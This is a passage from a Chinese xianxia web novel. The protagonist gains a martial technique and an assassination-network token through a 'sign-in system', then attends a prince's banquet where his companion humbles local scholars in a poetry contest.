他的动作很慢,很专注,仿佛扫去的不是尘埃,而是岁月。
听到脚步声,他抬起头,浑浊的眼眸落在叶玄身上,没有半分波澜。
昨日的焦急求情的世子,今日并未跟来。
来的,只有这位让他产生过奇异感应的八殿下。
叶玄没有说话,只是将手中的猛虎王令,轻轻递了过去。
风伯的目光落在令牌上,苍老的身体微微一顿。
他伸出布满老茧的手,却没有去接那令牌,只是深深地看了一眼。
王令如山,无需触碰,便知其真伪。
“殿下请。”
风伯侧过身,让开了通往阁楼的道路,声音一如既往的干涩,听不出情绪。
叶玄收回令牌,正欲迈步。
“殿下。”
风伯却又突然开口,叫住了他。
叶玄驻足,回头看他。
风伯的视线,越过叶玄的肩膀,望向了阁楼的顶端,眼神中带着一丝追忆与思索。
“王府的藏书,黄阶万卷,玄阶百册,皆在一二层。”
“寻常武者,穷其一生,能参透其中一二,便足以安身立命。”
他话锋一转,声音压低了几分。
“但武道阁的根基,不在于此。”
“三楼之上,藏有三本地阶残篇,乃是王爷早年游历天下所得,亦是王府真正的底蕴。”
“只是它们……都已残缺,灵性尽失,数十年来,无人能从中窥得半点玄机。”
风伯的目光重新回到叶玄脸上,那双浑浊的眼睛里,似乎有什么东西在闪动。
“老朽昨日……或许是老眼昏花,在殿下身上,感受到了一丝非同寻常的气息。”
“或许,那些沉寂已久的东西,在殿下面前,会有些不一样的光景。”
说完,他便不再言语,重新低下头,继续扫地,仿佛刚才那番话,不过是随口的呢喃。
叶玄心中却泛起一丝涟漪。
这位守阁人,远比风云天描述的“又臭又硬”要敏锐得多。
“多谢阁老指点。”
他轻声道了句谢,而后转身,踏入了武道阁厚重的门槛之内。
一股混杂着古木与书卷的独特墨香,扑面而来。
阁楼内光线幽暗,一排排顶天立地的书架,如沉默的巨人,静静矗立。
无数的**秘籍,被分门别类地安放着,散发着历史的沉淀感。
叶玄并未急于签到。
他信步走在一楼的书架之间,目光随意扫过那些黄阶武技的名字。
《碎石拳》、《追风步》、《**法》……
这些在外界足以引起武者争抢的**,在他眼中,却显得如此粗浅。
与《人皇镇狱经》的浩瀚玄奥相比,这些**,不过是溪流与江海的区别。
他缓步登上二楼。
这里的玄阶武技,明显少了很多,每一本都用锦盒妥善保管。
《奔雷掌》、《幻影迷踪》、《玄冰真气》。
气息确实强了不少,但在人皇霸体的感知下,其中的种种关隘与缺陷,依旧清晰可见。
他没有停留,径直走向通往三楼的阶梯。
越是向上,空气便越是安静,仿佛连尘埃都停止了浮动。
三楼的空间,比下面两层要小得多,也空旷得多。
这里没有书架,只在正中央,摆放着三座石台。
每一座石台上,都陈列着一份残篇。
左手边的,是一卷古老的兽皮,边缘焦黑,字迹模糊,隐约能看到“焚天”二字。
右手边的,是一叠青铜书页,锈迹斑斑,散发着一股金戈铁马的肃杀之气。
而正中央的石台上,安放着的,是一卷以不知名丝线编织而成的卷轴。
就在叶玄的目光落在那卷轴上的瞬间。
他体内的《人皇镇狱经》,竟毫无征兆地,轻轻震颤了一下。
一股源自血脉深处的渴望,油然而生。
仿佛那卷轴之中,有某种东西,与他同出一源,正在发出无声的呼唤。
就是它了。
叶玄走上前去,目光凝视着卷轴。
卷轴上,只有四个龙飞凤舞的古字,笔锋霸道,透着一股裂天碎地之意。
《苍龙破军》。
他伸出手,指尖轻轻触碰在卷轴微凉的表面。
【叮!检测到地阶上品武技《苍龙破军》残篇,符合签到条件,是否签到?】
系统提示音,如期在脑海中响起。
“签到。”
叶玄心念一动。
【签到成功!恭喜宿主获得地阶上品武技《苍龙破军》完
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整篇!】
【恭喜宿主触发特殊奖励,获得“幽影”令!】
刹那间,一股磅礴无匹的信息洪流,冲入他的识海。
无数残缺的经文,断裂的脉络,在他的脑海中被迅速补全,重新排列,最终融合成一篇完美无瑕的盖世神功。
一头栩栩如生的苍龙虚影,仿佛要从经文中挣脱而出,盘踞在他的精神世界,发出震慑九天的咆哮!
与此同时,在他的芥子空间内,一枚通体漆黑,不知由何种材质打造的令牌,正静静悬浮。
令牌上没有任何花纹,只有一个古朴的“影”字,却仿佛能吞噬一切光线,散发着极致的冰冷与死寂。
一行信息,随之浮现在叶玄的脑海。
【幽影令:上古秘传之物,可唤醒并执掌遍布天下的情报与刺杀网络幽影殿。】
叶玄缓缓收回手指,眼底深处,一抹精光一闪而逝。
地阶上品武技,只是开胃菜。
这个幽影殿,才是风啸天这份厚礼,真正为他带来的惊天收获。
他没有在三楼久留,将一切心绪敛入心底,神色如常地走下了楼。
阁楼门口,风伯依然在扫地,仿佛从未动过。
“多谢阁老。”
叶玄出门时,再次颔首致意。
这一次,他的感谢,更多了几分真诚。
风伯扫地的动作停下,抬眼看了看他,只是用鼻子“嗯”了一声,算是回应。
目送着叶玄的身影消失在庭院的尽头,风伯握着扫帚,在原地站了许久。
他最终还是放下了扫帚,转身走进了武道阁,一步一步,登上了三楼。
三座石台,静静矗立。
三份残篇,安然无恙。
风伯走上前,伸出干枯的手指,依次抚过那三份残篇。
他催动体内不算雄厚,却极为精纯的真气,小心翼翼地探查着。
兽皮依旧焦黑。
铜页依旧冰冷。
那卷《苍龙破军》,也依旧死气沉沉,没有任何灵性波动。
一切,都和他过去三十年里,每一次检查的结果,一模一样。
“难道……真的是老朽感觉错了?”
风伯站在原地,喃喃自语,浑浊的眼中,是深深的困惑。
那股凌驾于王权之上,尊贵到让他都心生悸动的感觉,难道真的只是一个错觉?
他摇了摇头,转身下楼。
或许,不是**变了。
而是看**的人,不一样了。
这位八殿下,藏在水面下的部分,远比任何人想象的,都要深不见底。
第80章 龙吟惊幽影
回到王府安排的院落,叶玄挥退了侍女,独自一人步入静室。
他没有立刻盘膝坐下,而是在房间内踱步,消化着脑海中那片汹涌的知识海洋。
《苍龙破军》。
这四个字,此刻在他的识海中,不再是死板的文字,而是一幅幅金戈铁马、气吞山河的画卷。
与《大荒囚天指》的禁锢、封锁、**不同,《苍龙破军》的核心,只有一个字——破。
破阵、破军、破城、破尽天下万法!
这门武技,仿佛天生就是为了战场而生。
它没有太多繁复精妙的变化,有的只是最纯粹、最霸道的力量运转法门。
将全身灵气凝聚为一点,模拟上古苍龙冲锋之势,一往无前,摧枯拉朽。
叶玄的脑海中,一头青色巨龙的虚影正在演练。
龙躯摆动,便是一道道灵气的运行轨迹。
龙爪探出,便是力量爆发的节点。
龙口咆哮,便是气势与精神的合一。
这门**,若是寻常武者得到,穷尽一生,或许也只能模仿其形,打出一股刚猛的劲力。
但在拥有《人皇镇狱经》和人皇霸体的叶玄这里,一切都变得不同。
人皇霸体,让他对这门**的理解直达本源。
《人皇镇狱经》的雄浑灵力,更是催动这门武技最完美的燃料。
人皇之气,至尊至贵,**万物。
苍龙之力,至刚至猛,破碎一切。
两者结合,不再是简单的叠加,而是一种质的升华。
叶玄停下脚步,缓缓抬起右手,五指并拢如枪。
他没有催动真气,只是凭借脑海中的感悟,模拟着那股破灭一切的意境。
刹那间,他整个人的气质都变了。
原本的温和内敛消失不见,取而代之的,是一股即将撕裂苍穹的锋锐与霸道。
静室内的空气,都似乎被这股无形的意念搅动,发出细微的嗡鸣。
“好一门《苍龙破军》。”
叶玄散去意念,眼中的锋芒也随之敛去。
他心中涌起一股强烈的冲动,想要立刻找个地方,痛痛快快地打出一招,亲身体验一下那裂天碎地的威力。
只是,身在镇北王府,高手环伺,显然不是一个合适的试验场地。
这个念头只是一闪而过,便被他压了下去。
他的心神,沉入到了芥子空间之中。
那枚名为“幽影”的令牌,正静静地悬浮着。
通体漆黑,仿佛由永夜的寒铁铸就,连光线都无法在其上停留,只有一个古朴的“影”字,透着一股吞噬万物的死寂。
上古秘传,情报刺杀网络,幽影殿。
叶玄伸出手,那枚令牌便出现在他的掌心。
触手冰凉,没有任何能量波动,就像一块普通的顽石。
这东西,该如何使用?
他尝试着将体内的一丝人皇之气,缓缓注入令牌之中。
嗡——
令牌轻微地震颤了一下,表面的“影”字,亮起了一道极其微弱的幽光,一闪即逝。
然后,就再也没有了任何动静。
“嗯?”
叶玄眉头微挑。
这就完了?
他又加大了灵力的输送,可令牌却像一个填不满的无底洞,吞噬了他的灵力后,再无半点反应。
研究了半晌,叶玄也没能再让它产生任何异象。
**的是,就在刚才“影”字亮起的那一瞬。
远在千里之外的大乾京城,一座最繁华的酒楼之上,一位正在凭栏饮酒的锦衣公子,握着酒杯的手指,轻轻一颤。
北境的苦寒雪山之巅,一个身披白色裘衣,与冰雪融为一体的女子,蓦然睁开了双眼。
南疆的潮湿雨林深处,一位正在与毒虫猛兽为伍的赤膊大汉,停下了打磨手中弯刀的动作。
西域的漫天黄沙之中,一位看似行将就木的老僧,敲击木鱼的节奏,乱了一拍。
东海之滨的渔村里,一个正在织网的普通渔夫,手中的梭子,掉落在地。
……
大乾王朝,乃至周边列国的各个角落。
无论是身居高位的权贵,还是隐于市井的贩夫走卒。
七道身影,在同一时刻,心有所感。
他们或放下手中的酒杯,或停止了修炼,或中断了任务,不约而同地,将目光投向了遥远的北方——北凉镇北城的方向。
一股源自灵魂深处的烙印,
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被唤醒了。
幽影殿,沉寂了数十年的最高信物,再次现世。
新主,已立。
静室之内,叶玄自然不知道自己随手的一个举动,已经在整个天下掀起了怎样的波澜。
他见幽影令没有反应,便暂时放弃了研究。
此物或许需要特殊的法门,或是某种契机才能真正动用。
他不是一个钻牛角尖的人,既然想不通,便先放下。
将令牌收回芥子空间,叶玄推门而出。
他准备去看看苏轻雪,这位首辅千金,虽然智计过人,但毕竟身处异地,又是带病在身,他需要确认一下她的状态。
刚走出院门,一道熟悉的身影便快步迎了上来。
正是风云天。
“殿下!”
风云天脸上带着几分如释重负的喜色,见到叶玄,拱手行礼,姿态比昨日更加恭谨。
“世子。”叶玄淡然点头,“看你神色,城中的事情,处理妥当了?”
“托殿下的福,一切顺利!”风云天语气中难掩兴奋。
“孙、王、李三家盘根错节的势力,已经被连根拔起,所有负隅顽抗的核心族人,尽数就地正法。府中查抄出的财物、田产、商铺,足以让王府的府库充盈数年。”
他顿了顿,压低了声音继续说道:“那些藏在暗处的钉子,也一并清除了。现在的镇北城,才算是真正铁板一块。”
叶玄对此并不意外。
以镇北王府在北凉的绝对统治力,一旦下定决心,解决几个内奸家族,不过是雷霆一击的事情。
“只是……”风云天脸上露出一丝歉意,“昨日动静太大,城中百姓难免人心惶惶。为了安抚民心,也为了庆祝我母亲大病初愈,父王决定今晚在王府设宴,一来是为殿下和苏姑娘接风洗尘,二来也是宴请城中有头有脸的人物,以正视听。”
“所以,我是特地来邀请叶兄和苏姑娘,今晚一同赴宴的。”
风云天说完,带着一丝期待的目光看着叶玄。
他现在已经完全将叶玄视作能够改变北凉,乃至改变大乾格局的真龙。
父亲设宴,若是这位真正的贵客不到场,那宴席也就失了七分颜色。
第81章 王府夜宴,谁是猎物?
“宴无好宴,不过,我喜欢。”
叶玄嘴角挂着一抹淡笑,对风云天的邀请欣然应下。
风云天得了准信,脸上的喜色更浓,又客套了几句,便告辞去准备晚宴事宜。
叶玄目送他离去,转身,脚步未停,径直走向后院分配给苏轻雪的雅致小筑。
穿过月洞门,一股淡淡的药香混杂着女子闺房的清雅气息扑面而来。
苏轻雪正披着一件素白色的外衫,坐在窗前的软榻上,手中捧着一卷书,只是那双清亮的眸子并未聚焦在书页上,显然心事重重。
听见脚步声,她抬起头,见到是叶玄,紧绷的肩线稍稍松弛了几分。
“殿下。”
她轻声唤道。
叶玄走到她面前,没有多余的客套,直接伸出了手。
“手腕。”
他的声音平和,却带着一种不容置疑的信服力。
苏轻雪的脸颊掠过一抹极淡的红晕,但还是依言,将自己那截皓白如玉的手腕,轻轻搭在了叶玄伸出的三指之上。
她的手腕很凉,带着久病之人才有的寒意。
叶玄的指尖却温暖干燥,三指搭上她脉门的一瞬间,一股微不可查的暖流,顺着接触的肌肤,悄然渗入。
苏轻雪的身体微微一颤。
叶玄闭上双眼,静心感受着她脉搏的跳动。
那脉象细弱游丝,时而急促,时而迟滞,如同风中残烛,看似随时都会熄灭,却又顽强地维系着一丝生机。
数息之后,他睁开眼。
“你体内的寒气,比我想象的还要根深蒂固。”
他松开手,走到桌案前,取过笔墨纸砚,手腕悬空,笔走龙蛇。
一串串药名,自笔尖流淌而出,其中不乏一些极为罕见,甚至与传统药理相悖的药材组合。
苏轻雪通读医书,只看了一眼,便蹙起了秀眉,那药方上的几味药,分明是至阳至刚之物,与她这般阴寒体质,理应是水火不容。
“这方子……”她忍不住开口。
叶玄没有停笔,头也不抬地说道:“寻常药石,只能为你续命,吊着一口气。想要根除,便需行雷霆手段,以阳克阴,破而后立。”
他写完最后一味药,放下笔,将药方递给苏轻雪。
“这上面的剂量,一钱不能多,一分不能少。三碗水煎成一碗,午时三刻,阳气最盛之时服下。”
“服药之后,你会如坠冰窟,继而如卧火炉,痛苦难当。撑过去,你体内的沉疴,便能去七成。剩下的三成,需慢慢温养。”
他的语气平静,却详细解释了每一个步骤和可能出现的反应。
苏轻雪握着那张尚有墨香的药方,指尖微微用力。
她从叶玄的话语中,感受到了一种绝对的自信。
这不是安慰,也不是尝试,而是一个确定的结果。
“多谢殿下。”她将药方郑重收好。
“风云天方才来过了。”叶玄话锋一转,将晚宴的事情说了出来。
“镇北王府设宴,一来是庆贺王妃痊愈,安抚人心。二来,也是一场鸿门宴。”
苏轻雪冰雪聪明,立刻就领会了其中的深意。
“为了城中剩下的那些世家?”
“对。”叶玄点头,“孙、王、李三家倒了,空出了巨大的利益,也留下了巨大的恐惧。今晚的宴会,就是镇北王给他们划下的一道线,顺者昌,逆者亡。”
他看着苏轻雪,继续说道:“这种场合,少不了文人雅士的助兴。那些世家子弟,不敢动武,便会以文会友,相互试探,也试探我们。”
“我如今的身份,只是个略懂医术的江湖郎中,于诗词歌赋一道,并不擅长。”
叶玄说得坦然。
“所以,今晚的那个舞台,需要你来登场。”
他看着苏轻雪的眼睛,一字一句道:“我要让整个镇北城都知道,我叶潜渊的身边,站着一位怎样的奇女子。京城第一才女的锋芒,也该让北凉这群人见识见识了。”
这番话,既是安排,也是一种极高的赞誉。
苏轻雪的心湖,泛起一丝涟漪。
她迎上叶玄的目光,缓缓点头。
“殿下放心。”
她的声音不大,却透着一股不容小觑的力量。
“轻雪,定不辱命。”
至于叶玄说自己不善诗词,她只是在心里轻轻一笑,并未点破。
毕竟谁会相信一个潜藏了十几年之久的深宫皇子嘴里所说的话?
……
夜幕降临,华灯初上。
镇北王府灯火通明,一改往日的肃杀,多了几分
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喜庆与喧嚣。
王府正门大开,门前车水马龙。
镇北城内,但凡还有些头脸的世家大族,家主们都带着精心准备的厚礼,领着族中最出色的子弟,早早地便赶到了。
宴会设在王府最大的演武场上,此刻已经摆满了上百张桌案,佳肴美酒,流水般呈上。
只是,场中的气氛却远没有看上去那么热闹。
宾客们三三两两地聚在一起,脸上挂着僵硬的笑容,交谈的声音也刻意压低,透着一股难以掩饰的惶恐与不安。
就在昨日,孙、王、李三家的覆灭,快得让人来不及反应。
那三座府邸流出的鲜血,仿佛还未在镇北城的街道上干涸。
谁都知道,镇北王府这次是动了真格。
王府后堂一处角落,几个中年男子聚在一起,神色凝重。
“张兄,王爷这次大宴宾客,究竟是何用意?”一个身材微胖的钱姓家主,端着酒杯,手却在微微发抖。
被称作张兄的,是城中大儒**之,他捋着胡须,沉声道:“敲山震虎,划定规矩。”
“那……我们该如何自处?”另一个李姓旁支的家主,声音都变了调。
**之叹了口气。
“还能如何?俯首称臣,别无他路。”
他顿了顿,目光扫过全场,压低了声音。
“你们难道没发现吗?孙、王、李三家,都是与京城那边暗通款曲的。王爷这是在清扫屋子,任何敢把手伸进北凉的势力,都将被斩断。”
“我只担心,王爷会不会株连过甚……”钱姓家主一脸忧色。
“关键不在王爷。”
**之的目光,投向了主位的方向,那里还空着。
“关键在于那位……搅动了整个镇北城风云的神医,叶潜渊。”
“我听闻,王妃的病是他治好的,查抄三家,也是他向王爷进的言。”
“此人,才是真正的深不可测。今晚,我们或许就能见到他的庐山真面目了。”
他的话音刚落,一阵悠扬的钟声响起。
喧闹的演武场,瞬间安静下来。
所有人都停下了交谈,不约而同地站起身,将目光投向了主座的方向。
镇北王风啸天,与王妃柳如烟,并肩而行,缓缓步入场中。
第82章 添一些彩头
镇北王风啸天身着玄色王袍,腰悬长剑,龙行虎步。
他并未急于落座,而是立于主位之前,目光平静地扫过演武场上的每一张面孔。
明明没有任何灵力波动,但那股久经沙场、手握二十万人生死的铁血煞气,却如同一座无形的大山,沉甸甸地压在每个人的心头。
演武场上,上百桌宾客,近千人,鸦雀无声。
落针可闻。
风啸天的声音响起,不响,却清晰地传入每个人耳中。
“诸位,昨日之事,想必都听说了。”
他一开口,便直指核心,没有丝毫的拐弯抹角。
场中不少人的脸色瞬间又白了几分,端着酒杯的手,不受控制地开始轻颤。
“孙家、王家、李家,勾结外敌,意图祸乱我北凉根基,本王已将他们连根拔起。”
“镇北城的街道,是用我镇北军将士的血肉守住的,不是给某些人用来背地里捅刀子的。”
“谁敢伸手,本王就斩断谁的手。谁敢伸头,本王就砍下谁的头。”
话音森然,字字如刀。
那几个与三家素有来往的家主,只觉得脖颈一凉,冷汗瞬间浸透了后背的衣衫。
风啸天话锋一转,语气稍缓。
“当然,清扫了屋子里的垃圾,地方也就宽敞了。”
“三家倒下,空出来的生意、田产,乃至城中各种位置,总要有人来接手。”
他端起桌上的一杯酒,举向众人。
“这块蛋糕,比以前更大了。本王希望,以后能与诸位同心同德的‘自己人’,一同分享。”
一句话,先是地狱,后是天堂。
在场的世家家主们,哪个不是人精,瞬间就品出了其中的味道。
这是警告,也是机会。
顺我者昌,逆我者亡。
“我等,誓死追随王爷,守护北凉!”
大儒**之第一个站起身,躬身行礼,声音洪亮。
“誓死追随王爷!”
其余人如梦初醒,纷纷起身,潮水般的效忠声响彻演武场。
风啸天满意地点点头,将杯中酒一饮而尽。
“好,都坐吧。”
众人这才敢战战兢兢地坐下,但每个人的心思都活络了起来。
王爷划下了道,接下来,就看谁能最先递上投名状了。
就在这时,一直陪伴在风啸天身侧,雍容华贵的镇北王妃柳如烟,却做出了一个让所有人都意想不到的举动。
她没有在主位坐下,而是莲步轻移,穿过席间,径直朝着一个最不起眼的角落走去。
所有人的目光,都不由自主地跟随着她的身影。
那个角落,只坐着一男一女,男的清秀,女的绝色,正是被风云天亲自领进来的叶潜渊和苏轻雪。
在场的宾客们心中都升起一个巨大的问号。
王妃这是……
柳如烟走到叶玄的桌案前,盈盈一拜,脸上带着发自内心的感激与尊敬。
“叶神医,若非您妙手回春,我这条命,恐怕早已不在了。”
她的声音温柔,却足以让周围几桌的人听得清清楚楚。
“王妃不必多礼。”叶玄安然坐着,只是微微颔首,从容淡定得不像话。
柳如烟直起身,对着叶玄身旁的空位,做了一个请的手势。
“今日大宴,您是本王与王爷最尊贵的客人,理应上座。”
“这……”
不等叶玄开口,柳如烟又道:“叶神医若是不肯,便是看不起我镇北王府了。”
话说到这个份上,已然不是请求,而是镇北王府公开的态度。
“神医?”
“他就是那个治好了王妃的活**症的神医?”
“原来就是他!我早该想到的,能让世子亲自去请的人,岂是凡俗!”
“难怪……难怪孙王李三家倒台,原来根子在这里!”
人群中,压抑的惊呼声此起彼伏。
如果说,刚才风啸天的言语是敲山震虎,那么柳如烟此刻的举动,就是亲手为这头猛虎,点上了眼睛。
她用最直接的方式,向全城宣告了叶玄的地位。
这位叶神医,是镇北王府的恩人,是王爷和王妃面前的红人!
**之看着这一幕,心中再无半分疑虑,端起酒杯,第一个朝着叶玄的方向走去。
“老夫**之,见过叶神医。”
有了他带头,其余的家主们哪里还坐得住。
“钱家家主,见过叶神医!”
“宋家家主,敬叶神医一杯!”
“叶神医当真是华佗在世,扁鹊重生啊!”
方才还无人问津的角落,瞬间变得门庭若市。
一张张堆满笑容的脸,一杯杯递到面前的酒,一句句极尽溢美之词的奉承,将叶玄和苏轻雪的桌子围得水泄不通。
叶玄
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始终只是淡然地坐着,偶尔举杯示意,却滴酒不沾。
苏轻雪则安静地为他添茶,对周围的喧嚣恍若未闻,那份清冷的气质,反而让一众想要攀谈的世家子弟自惭形秽,不敢上前。
酒过三巡,菜过五味。
主位上的风啸天看着下方几乎要将叶玄淹没的人潮,朗声笑道:
“好了好了,都各回各位吧。叶神医喜静,你们这般热情,怕是会惊扰到他。”
他一开口,众人连忙告罪,潮水般退去,但每个人的脸上都带着满足。
至少,在神医面前,混了个脸熟。
风啸天放下酒杯,环视一圈,目光在那些年轻的世家子弟身上一一掠过。
“今日喜庆,光是喝酒吃肉,未免有些无趣。”
他顿了顿,声音提高了几分。
“我北凉儿郎,当文武双全。在场的,都是我镇北城各家的青年才俊,不如就借此机会,给这场宴会添些彩头,如何?”
来了!
所有家主心中都是一凛。
真正的考验,现在才开始。
“王爷说的是!我等附议!”
“正该让我等开开眼界,看看年轻一辈的风采!”
附和声四起。
风啸天满意地笑道:“那好。规矩很简单,不设限制。想比试武艺的,这演武场够大,点到为止。想切磋文采的,笔墨纸砚,本王也早已备下。”
他的目光,最后若有若无地落在了叶玄和苏轻雪的身上。
“拔得头筹者,无论文武,本王重重有赏!”
话音刚落,一个性子急的武将家主,已经推了自己儿子一把。
“赵虎!还愣着干什么?上去给你张伯伯李叔叔们耍两手,别给老子丢人!”
一个身材魁梧的青年立刻站了出来,抱拳道:“末将赵虎,愿为王爷和诸位大人舞刀助兴!”
场中气氛,瞬间被点燃。
而更多的目光,特别是那些自诩文采风流的世家子弟,则不约而同地,带着几分审视,几分挑衅,望向了那个依旧淡然品茶的“叶神医”,和他身边那位风华绝代的侍女。
医术通天,不知这诗词歌赋,又是何等水平?
他们不敢挑衅叶玄,却不代表他们会放过这个在镇北王面前,在美人面前,一展才华的绝佳机会。
一场围绕着叶玄和苏轻雪的文武大戏,正式拉开了帷幕。
第83章 玷污了我的耳朵
演武场的一侧,刀光剑影,呼喝声此起彼伏。
赵虎的开场,像是一块巨石投入湖中,激起了北凉武将世家们压抑已久的好胜心。
一个个身形矫健的青年,按捺不住热血,纷纷下场切磋,拳脚碰撞,兵器交鸣,为这肃杀的夜宴增添了几分铁血的豪情。
而在另一侧,文人墨客**的区域,气氛则显得微妙许多。
叶玄端起茶杯,轻轻吹开漂浮的茶叶,热气氤氲了他眼中的神色。
他侧过头,声音不大,刚好能让身边的苏轻雪听见。
“这一幕,熟悉吗?”
苏轻雪的目光从那些捉对厮杀的武夫身上收回,又扫过那些蠢蠢欲动的文士,清丽的脸蛋上没有一丝波澜。
“无聊的把戏。”
她的声音清冷如月光,带着一丝发自骨子里的倦怠。
“换个地方,换了些人,可演的还是那套老掉牙的戏码。”
“无非就是卖弄武勇,或是显摆几句酸诗,想在王爷面前博个前程,或是在某个自以为是的女子面前,求得几分青睐。”
在京城,她是首辅千金,是冠绝京华的第一才女。
追捧她的人,从皇子公孙到新科状元,如过江之鲫。
那些人无论是身份地位,还是诗词才华,都远胜眼前这些北凉的世家子弟。
就连当朝太子,她都敢当面拒绝,不假辞色。
眼前这些人,在她看来,与跳梁小丑无异。
叶玄轻笑一声,不再言语。
他要的,就是苏轻雪这份源自京城的、俯视一切的傲气。
这份傲气,才是今晚最锋利的武器。
果然,武将们的热闹没持续多久,文人这边就有人坐不住了。
一个身穿锦衣,手持折扇的年轻公子站了起来。
他是城中大儒**之最得意的孙子,张文远,素有才名。
张文远先是朝着主位上的风啸天深深一揖,随即目光有意无意地瞟向了苏轻雪所在的方向。
“王爷,武夫舞刀弄枪,固然豪迈,却也多了几分杀伐气。”
“今夜良辰美景,又有仙子在侧,岂能无诗?”
他口中的“仙子”,指的谁,在场众人心知肚明。
不少年轻子弟的目光,都带着嫉妒和不甘,望向了那个角落。
风啸天饶有兴致地看着他,抬了抬手。
“哦?张公子有何佳作,不妨吟来一听。”
得到了首肯,张文远更添了几分自信,他展开折扇,踱步于场中,视线始终锁着苏轻雪,朗声吟道:
“北风卷地镇雄关,铁马冰河守万年。”
“王气自随龙虎踞,不教胡马度阴山!”
这首诗写得中规中矩,气势倒也雄浑,将镇北王府的功绩与北凉的险要都点了出来,十分应景。
“好!”
“不愧是张公子,好一个‘不教胡马度阴山’!”
**之捋着胡须,脸上满是得色。
周围的宾客们也纷纷叫好,一时间,奉承之声四起。
张文远得意地收起折扇,目光灼灼地看着苏轻雪,期待能从那张绝美的脸上看到一丝赞许或惊讶。
然而,苏轻雪只是低头为叶玄续茶,连眼皮都未曾抬一下。
仿佛那首引得满堂喝彩的诗,不过是耳边的蚊蝇嗡鸣。
张文远的笑容僵在了脸上。
这时,钱家的一位公子也站了出来,他不服气地说道:“张兄的诗太过刚硬,有佳人在此,当有柔情。”
他学着张文远的样子,也朝着苏轻雪的方向一拱手,吟诵起来:
“月下美人影绰约,青丝三千落凡尘。”
“愿为阶前**燕,不慕朝堂不慕君。”
这首诗就显得露骨许多,意思也很明白,为了美人,连功名利禄都可以不要。
虽然意境不高,但胜在直白大胆,也引来了一些年轻人的喝彩。
一时间,场中气氛彻底变了。
一个接一个的世家子弟站出来,或作边塞诗,或吟风月词,一个个都把自己当成了诗仙词圣,恨不得将毕生所学都展露出来。
演武场变成了他们的名利场。
武将那边打得热闹,文人这边斗得更凶。
他们争的,是王爷的青睐,是家族的颜面,更是那个角落里,绝色女子的回眸一顾。
终于,这场文采的比拼,不可避免地烧到了风暴的中心。
张文远看着依旧无动于衷的苏轻雪,心中那份自傲被彻底点燃成了嫉妒与不甘。
他端着酒杯,径直走到了叶玄这一桌。
几位与他交好的公子哥也跟了上来,隐隐形成了一个包围
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之势。
“这位姑娘,”张文远的声音带着几分压迫感,却又故作风雅,“我等献丑多时,不知姑娘对我等诗词,可有何品评?”
他这话问得极有心机。
若苏轻雪说好,那便是认可了他们,他们便有了吹嘘的资本。
若她说不好,一个侍女,凭什么对这么多才子评头论足?岂不是狂妄无知?
届时,他们便可群起而攻之,让她下不来台。
一瞬间,全场的目光都聚焦于此。
连主位上的风啸天和柳如烟,都投来了关注的视线。
他们也想看看,这位名满京城的才女,究竟有何对策。
叶玄连头都没抬,只是用手指,轻轻叩了叩桌面。
这是一个信号。
一个早已约定好的,该她上场的信号。
苏轻雪缓缓放下茶壶,终于抬起了那双清冷如水的眸子。
她先是扫了一眼张文远,又看了看他身后那一群跃跃欲试的“才子”。
她的目光很平静,没有任何情绪,却让每一个被看到的人,都感到一阵莫名的心慌。
“品评?”
苏轻雪红唇轻启,吐出两个字。
张文远强撑着笑容:“还请姑娘不吝赐教。”
“你们的诗,”苏轻雪的声音不大,却清晰地传入了每个人的耳中,“也配让我品评?”
全场死寂。
落针可闻。
张文远的笑容彻底凝固,化为难以置信的错愕与羞愤。
他身后的一众公子哥,更是脸色涨成了猪肝色。
狂!
太狂了!
一个来历不明的侍女,竟敢如此藐视镇北城所有的青年才俊!
“你……”张文远气得浑身发抖,指着苏轻雪,半天说不出一句完整的话。
苏轻雪却连看都懒得再看他一眼,她的声音依旧平淡,却带着一股不容置喙的决断。
“格律不通,辞藻堆砌,看似豪迈,实则空洞无物。”
她点评的是张文远的第一首诗。
“矫揉造作,无病呻吟,为赋新词强说愁,更显浅薄。”
这是在说钱公子的那首情诗。
最后,她环视一圈,为这场闹剧做出了最终的判决。
“一堆瓦砾,也想与明珠争辉?”
“简直,污了我的耳朵。”
第84章 一阙词,压倒满城才子
那句“污了我的耳朵”,如同一记无形的耳光,扇在了在场所有自诩才子的脸上。
火辣辣的疼。
先前还喧闹无比的文人雅集区,此刻连呼吸声都显得格外刺耳。
张文远的脸,从猪肝色转为煞白,又从煞白涨成一片血红,那双握着酒杯的手,青筋毕露,骨节发白,仿佛要将那精致的瓷杯捏碎。
“你……你算什么东西!”
一个跟班终于忍不住,跳了出来,指着苏轻雪的鼻子破口大骂。
“一个卑贱的侍女!也敢在此大放厥词!我们这些,哪一个不是镇北城里叫得上名号的才子!哪一个不是饱读诗书!你凭什么!”
这声怒吼打破了僵局,仿佛点燃了**桶。
“就是!我等诗作,连王爷都称赞有加,到了你嘴里,就成了瓦砾?”
“说我们格律不通?辞藻堆砌?简直是笑话!我看你就是个什么都不懂的村野丫头,在这里哗众取宠!”
“有本事,你拿出真东西来!作一首诗,写一阕词!若是作不出来,今天你休想走出这个门!必须给我们所有人磕头道歉!”
群情激奋。
那些刚才还风度翩翩的公子哥们,此刻面目狰狞,唾沫横飞,将叶玄那一桌围得水泄不通。
他们感觉自己受到了毕生最大的侮辱。
而且这种侮辱,是一个连与他们对话资格都没有的侍女。
主位上,风啸天端着酒杯,并未阻止。
他的脸上挂着一丝玩味的笑容,饶有兴致地看着这一切。
柳如烟则有些担忧地望向叶玄,却发现那个年轻人依旧在慢条斯理地喝着茶,仿佛被**的不是他的人。
所有人的目光,都像利剑一样,刺向了风暴中心的苏轻雪。
面对着一张张扭曲而愤怒的脸,苏轻雪的表情没有丝毫变化。
她甚至没有站起来。
只是将手中的茶壶轻轻放下,发出“嗒”的一声轻响。
这声音不大,却像一记重锤,敲在了每个人的心上。
“要我作诗?”
她抬起眼帘,清冷的目光扫过众人,那目光里没有轻蔑,没有愤怒,只有一种纯粹的、令人心悸的平静。
“也好。”
“就用你们方才用过的题目。”
她顿了顿,视线落在张文远身上。
“你写边关,我便也写边关。”
她没有丝毫沉吟,红唇轻启,声音清越,如冰珠落玉盘,清晰地传入每个人的耳中。
“黑云压城城欲摧,甲光向日金鳞开。”
仅仅两句,场间所有的叫嚣声,戛然而止。
张文远脸上的怒容僵住了。
那几个叫骂最凶的公子哥,嘴巴还张着,却发不出半点声音。
如果说他们的诗是沙场上的呐喊,那这两句,便是千军万马扑面而来的窒息压迫!
画面感,意境,气魄,判若云泥!
苏轻雪没有停顿,声音依旧平稳。
“角声满天秋色里,塞上燕脂凝夜紫。”
“半卷红旗临易水,霜重鼓寒声不起。”
“报君黄金台上意,提携玉龙为君死!”
